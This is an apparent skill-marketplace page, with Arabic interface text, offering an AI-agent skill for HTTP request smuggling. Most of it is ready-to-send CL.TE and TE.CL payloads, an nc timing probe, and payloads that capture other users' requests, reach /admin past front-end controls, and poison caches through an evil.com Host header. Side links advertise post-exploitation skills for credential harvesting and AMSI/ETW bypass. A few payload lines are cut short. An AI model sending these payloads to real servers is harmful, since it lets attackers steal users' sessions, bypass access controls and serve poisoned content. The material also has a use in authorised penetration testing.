القائمة
HTTP request smuggling — CL.TE, TE.CL, TE.TE desync attacks for cache poisoning and auth bypass
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
استنادا إلى تصنيف SOC المهني
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill attack-request-smugglingيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
عرض SKILL.md
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
| name | attack-request-smuggling |
| description | HTTP request smuggling — CL.TE, TE.CL, TE.TE desync attacks for cache poisoning and auth bypass |
| category | web-application |
| version | 1.0 |
| author | cyberstrike-official |
| tags | ["request-smuggling","http-desync","web","attack"] |
| tech_stack | ["web"] |
| cwe_ids | ["CWE-444"] |
| chains_with | ["attack-cache-poison","attack-open-redirect"] |
| prerequisites | [] |
| severity_boost | {"attack-cache-poison":"Smuggling + cache = stored XSS/redirect for all users"} |
Exploit disagreements between front-end and back-end servers on request boundary parsing (Content-Length vs Transfer-Encoding) to smuggle a second request.
CL.TE (front uses Content-Length, back uses Transfer-Encoding):
POST / HTTP/1.1
Host: TARGET
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
TE.CL (front uses Transfer-Encoding, back uses Content-Length):
POST / HTTP/1.1
Host: TARGET
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Send ambiguous request, measure response time:
# CL.TE detection (timeout = vulnerable)
printf 'POST / HTTP/1.1\r\nHost: TARGET\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\nX' | timeout 10 nc TARGET 80
CL.TE confirmed:
POST / HTTP/1.1
Host: TARGET
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404-proof HTTP/1.1
X: x
If next request to / returns 404 or different page, smuggling is confirmed.
Capture other user's request:
POST / HTTP/1.1
Host: TARGET
Content-Length: 100
Transfer-Encoding: chunked
0
POST /log HTTP/1.1
Content-Length: 10000
Content-Type: application/x-www-form-urlencoded
data=
Next user's request is appended to data= parameter.
Bypass front-end access controls:
POST / HTTP/1.1
Host: TARGET
Content-Length: 50
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: TARGET
X: x
Cache poisoning via smuggling:
POST / HTTP/1.1
Host: TARGET
Content-Length: 100
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: evil.com
X: x
# HTTP/2 downgrade smuggling
curl --http2 https://TARGET/ \
-H \
-H \
-d
| Finding | Severity |
|---|---|
| Request smuggling → capture user requests | Critical (P1) |
| Smuggling → admin access bypass | Critical (P1) |
| Smuggling → cache poisoning | Critical (P1) |
| CL.TE or TE.CL desync confirmed | High (P2) |